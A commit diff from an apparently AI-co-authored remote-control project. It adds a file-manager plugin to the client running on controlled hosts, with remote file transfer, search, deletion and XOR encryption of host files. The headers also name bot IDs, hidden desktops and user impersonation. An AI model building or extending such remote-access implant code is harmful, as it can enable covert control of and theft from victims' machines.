Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip sources live under client/file/ and are isolated in the SimplePluginsFile namespace to avoid clashing with the native FileManager class. Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as a sub-connection from KernelManager. Add an "实验功能" submenu with a "文件管理" entry above "客户管理" in the online-hosts right-click menu, routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN dialog path. Co-Authored-By: deepseek-v4-pro
This commit is contained in:
1 parent
f72fda9b71
commit
2c3e1ca518
16 files changed
+5308
-1
No files matched your search
@@ -187,6 +187,11 @@
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -240,6 +245,9 @@
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
#include "Manager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "file/FileManager.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ChatManager.h"
|
||||
#include "MachineManager.h"
|
||||
@@ -113,6 +114,11 @@ DWORD WINAPI LoopMachineManager(LPVOID lParam)
|
||||
return LoopManager<CMachineManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
|
||||
@@ -30,6 +30,7 @@ DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopChatManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopMachineManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
|
||||
@@ -1177,6 +1177,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManagerPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
if (!ENABLE_SHELL) {
|
||||
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "Manager.h"
|
||||
#include <sstream>
|
||||
#include "zip.h"
|
||||
|
||||
#pragma once
|
||||
#include <winioctl.h>
|
||||
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||
#include "MasterEncoder.h"
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w,h,size;
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
struct SEARCH {
|
||||
TCHAR TC_disk[8];
|
||||
TCHAR TC_search[MAX_PATH];
|
||||
};
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _FILE_NAME_INFORMATION {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[MAX_PATH];
|
||||
} FILE_NAME_INFORMATION;
|
||||
|
||||
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||
IN HANDLE FileHandle,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
OUT PVOID FileInformation,
|
||||
IN ULONG FileInformationLength,
|
||||
IN ULONG FileInformationClass
|
||||
);
|
||||
|
||||
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
MasterEncoder m_encoder;
|
||||
DWORD dwRet;
|
||||
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
LPBYTE lpSendPacket;
|
||||
std::list <std::string> m_UploadList;
|
||||
BOOL m_bIsWow64;
|
||||
UINT m_nTransferMode;
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool benofrce;
|
||||
TCHAR* copyfile;
|
||||
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer(BOOL bIsUpload);
|
||||
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
void SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void ExeCompress(BYTE* lpBuffer);
|
||||
void SendSearchData(LPBYTE lpBuffer);
|
||||
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||
|
||||
protected:
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL bIsStopSearch;
|
||||
FILESEARCH filesearch;
|
||||
|
||||
void StopSearchTheard();
|
||||
void SendSearchFilesList(LPCTSTR str);
|
||||
static void WINAPI FindFileThread(LPVOID lparam);
|
||||
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||
TCHAR g_desktopName[MAX_PATH];
|
||||
ULONG PseudoRand(ULONG* seed);
|
||||
void GetBotId(TCHAR* botId);
|
||||
HDESK g_hDesk;;
|
||||
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||
void SendNetHood(); //发送共享文件目录
|
||||
void encfile(char* in_filename);
|
||||
void decryptfile(char* in_filename);
|
||||
bool FnDelPathFile(TCHAR* tc_path);
|
||||
|
||||
TCHAR* zippath_t;
|
||||
HANDLE m_hWorkZIPThread;
|
||||
BOOL bIsStopZIP;
|
||||
void StopZIPTheard();
|
||||
void StartZIP();
|
||||
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||
|
||||
//info
|
||||
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||
bool ResizePicture(TCHAR* strSource);
|
||||
|
||||
TCHAR* volName; // 驱动盘名称
|
||||
TCHAR* tc_search; // 搜索关键词
|
||||
HANDLE hVol; // 用于储存驱动盘句柄
|
||||
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||
long counter;
|
||||
LPBYTE lpBuffer;
|
||||
char* c_pathname;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "StdAfx.h"
|
||||
#include "MasterEncoder.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
MasterEncoder::MasterEncoder()
|
||||
{
|
||||
_codeKey = 100;
|
||||
_sign = nullptr;
|
||||
_signLen = 0;
|
||||
}
|
||||
|
||||
MasterEncoder::~MasterEncoder()
|
||||
{
|
||||
SAFE_DELETE_AR(_sign);
|
||||
}
|
||||
|
||||
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||
{
|
||||
if (sign && signLen) {
|
||||
_signLen = signLen;
|
||||
SAFE_DELETE_AR(_sign);
|
||||
_sign = new char[signLen];
|
||||
if (_sign) {
|
||||
memcpy(_sign, sign, signLen);
|
||||
} else {
|
||||
Mprintf("setSignAndKey Failed!\n");
|
||||
}
|
||||
}
|
||||
_codeKey = key;
|
||||
}
|
||||
|
||||
void MasterEncoder::encode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
void MasterEncoder::decode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||
{
|
||||
std::ifstream ifs;
|
||||
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||
|
||||
if (!ifs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ifs.seekg(0, std::ios_base::end);
|
||||
size =(long) ifs.tellg();
|
||||
ifs.seekg(0, std::ios_base::beg);
|
||||
unsigned char* data = new unsigned char[size];
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
|
||||
Mprintf("read PDF size = %d\n", size);
|
||||
|
||||
ifs.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||
{
|
||||
std::ofstream ofs;
|
||||
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||
|
||||
if (!ofs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
Mprintf("save PDF size = %d\n", size);
|
||||
ofs.close();
|
||||
}
|
||||
|
||||
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
//判断是否已经加密过
|
||||
if (memcmp(data, _sign, _signLen) == 0) {
|
||||
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||
writePDF(savePath, data, size);
|
||||
} else {
|
||||
encode(data, size);
|
||||
|
||||
if (_signLen > 0) {
|
||||
unsigned char* p = new unsigned char[size + _signLen];
|
||||
memcpy(p, _sign, _signLen);
|
||||
memcpy(p + _signLen, data, size);
|
||||
|
||||
writePDF(savePath, p, size + _signLen);
|
||||
|
||||
delete[] p;
|
||||
} else {
|
||||
writePDF(savePath, data, size);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
writePDF(savePath, data, size);
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
unsigned char* p = (data + _signLen);
|
||||
decode(p, size - _signLen);
|
||||
writePDF(savePath, p, size - _signLen);
|
||||
} else {
|
||||
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||
{
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
return data;
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
size -= _signLen;
|
||||
unsigned char* p = new unsigned char[size];
|
||||
memcpy(p, data + _signLen, size);
|
||||
decode(p, size);
|
||||
delete[] data;
|
||||
return p;
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
class MasterEncoder
|
||||
{
|
||||
public:
|
||||
MasterEncoder();
|
||||
~MasterEncoder();
|
||||
|
||||
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||
|
||||
void decode(unsigned char* data, long size);
|
||||
void encode(unsigned char* data, long size);
|
||||
|
||||
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||
|
||||
public:
|
||||
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||
|
||||
private:
|
||||
unsigned char _codeKey;
|
||||
char* _sign;
|
||||
int _signLen;
|
||||
};
|
||||
|
||||
}
|
||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
||||
//
|
||||
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||
//
|
||||
|
||||
#ifndef _zip_H
|
||||
#define _zip_H
|
||||
|
||||
|
||||
// ZIP functions -- for creating zip files
|
||||
// This file is a repackaged form of the Info-Zip source code available
|
||||
// at www.info-zip.org. The original copyright notice may be found in
|
||||
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||
|
||||
|
||||
#ifndef _unzip_H
|
||||
DECLARE_HANDLE(HZIP);
|
||||
#endif
|
||||
// An HZIP identifies a zip file that is being created
|
||||
|
||||
typedef DWORD ZRESULT;
|
||||
// return codes from any of the zip functions. Listed later.
|
||||
|
||||
|
||||
|
||||
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||
// CreateZip - call this to start the creation of a zip file.
|
||||
// As the zip is being created, it will be stored somewhere:
|
||||
// to a pipe: CreateZipHandle(hpipe_write);
|
||||
// in a file (by handle): CreateZipHandle(hfile);
|
||||
// in a file (by name): CreateZip("c:\\test.zip");
|
||||
// in memory: CreateZip(buf, len);
|
||||
// or in pagefile memory: CreateZip(0, len);
|
||||
// The final case stores it in memory backed by the system paging file,
|
||||
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||
// memory won't be touched unless needed. That means you can give very
|
||||
// large estimates of the maximum-size without too much worry.
|
||||
// As for the password, it lets you encrypt every file in the archive.
|
||||
// (This api doesn't support per-file encryption.)
|
||||
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||
// created into a pipe is slightly different from that created into a file
|
||||
// or memory. In particular, the compressed-size of the item cannot be
|
||||
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||
// itself via a pipe, the uncompressed-size might not either be known until
|
||||
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||
// as well, then the unzipper will not know these things about the item until
|
||||
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||
// or you have to add items not from a pipe, or at least when adding items
|
||||
// from a pipe you have to specify the length.
|
||||
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||
// but for real windows, the zip makes its own copy of your handle, so you
|
||||
// can close yours anytime.
|
||||
|
||||
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||
// ZipAdd - call this for each file to be added to the zip.
|
||||
// dstzn is the name that the file will be stored as in the zip file.
|
||||
// The file to be added to the zip can come
|
||||
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||
// (folder): ZipAddFolder(hz,"subdir");
|
||||
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||
// function. This will let the zipfile store the item's size ahead of the
|
||||
// compressed item itself, which in turn makes it easier when unzipping the
|
||||
// zipfile from a pipe.
|
||||
|
||||
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||
// then this function will return information about that memory block.
|
||||
// buf will receive a pointer to its start, and len its length.
|
||||
// Note: you can't add any more after calling this.
|
||||
|
||||
ZRESULT CloseZip(HZIP hz);
|
||||
// CloseZip - the zip handle must be closed with this function.
|
||||
|
||||
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||
// FormatZipMessage - given an error code, formats it as a string.
|
||||
// It returns the length of the error message. If buf/len points
|
||||
// to a real buffer, then it also writes as much as possible into there.
|
||||
|
||||
|
||||
|
||||
// These are the result codes:
|
||||
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||
// The following come from general system stuff (e.g. files not openable)
|
||||
#define ZR_GENMASK 0x0000FF00
|
||||
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||
#define ZR_READ 0x00000800 // a general error reading the file
|
||||
// The following come from mistakes on the part of the caller
|
||||
#define ZR_CALLERMASK 0x00FF0000
|
||||
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||
// The following come from bugs within the zip library itself
|
||||
#define ZR_BUGMASK 0xFF000000
|
||||
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// e.g.
|
||||
//
|
||||
// (1) Traditional use, creating a zipfile from existing files
|
||||
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||
// HZIP hz = CreateZip(0,100000, 0);
|
||||
// // adding a conventional file...
|
||||
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||
// // adding something from memory...
|
||||
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||
// ZipAdd(hz,"file.dat", buf,1000);
|
||||
// // adding something from a pipe...
|
||||
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread); CloseHandle(hread);
|
||||
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||
// { HANDLE hwrite = (HANDLE)dat;
|
||||
// char buf[1000]={17};
|
||||
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||
// CloseHandle(hwrite);
|
||||
// return 0;
|
||||
// }
|
||||
// // and now that the zip is created, let's do something with it:
|
||||
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||
// CloseHandle(hfz);
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (3) Handle use, for file handles and pipes
|
||||
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||
// // ... add to it
|
||||
// CloseZip(hz);
|
||||
// CloseHandle(hzwrite);
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread);
|
||||
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||
// { HANDLE hread = (HANDLE)dat;
|
||||
// char buf[1000];
|
||||
// while (true)
|
||||
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||
// // ... and do something with this zip data we're receiving
|
||||
// if (red==0) break;
|
||||
// }
|
||||
// CloseHandle(hread);
|
||||
// return 0;
|
||||
// }
|
||||
|
||||
|
||||
|
||||
// Now we indulge in a little skullduggery so that the code works whether
|
||||
// the user has included just zip or both zip and unzip.
|
||||
// Idea: if header files for both zip and unzip are present, then presumably
|
||||
// the cpp files for zip and unzip are both present, so we will call
|
||||
// one or the other of them based on a dynamic choice. If the header file
|
||||
// for only one is present, then we will bind to that particular one.
|
||||
ZRESULT CloseZipZ(HZIP hz);
|
||||
unsigned int FormatZipMessageZ(ZRESULT code, char* buf, unsigned int len);
|
||||
bool IsZipHandleZ(HZIP hz);
|
||||
#ifdef _unzip_H
|
||||
#undef CloseZip
|
||||
#define CloseZip(hz) (IsZipHandleZ(hz)?CloseZipZ(hz):CloseZipU(hz))
|
||||
#else
|
||||
#define CloseZip CloseZipZ
|
||||
#define FormatZipMessage FormatZipMessageZ
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
@@ -194,6 +194,11 @@
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="file\FileManager.cpp">
|
||||
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
|
||||
</ClCompile>
|
||||
<ClCompile Include="file\MasterEncoder.cpp" />
|
||||
<ClCompile Include="file\zip.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
@@ -250,6 +255,9 @@
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
|
||||
Reference in new issue
Block a user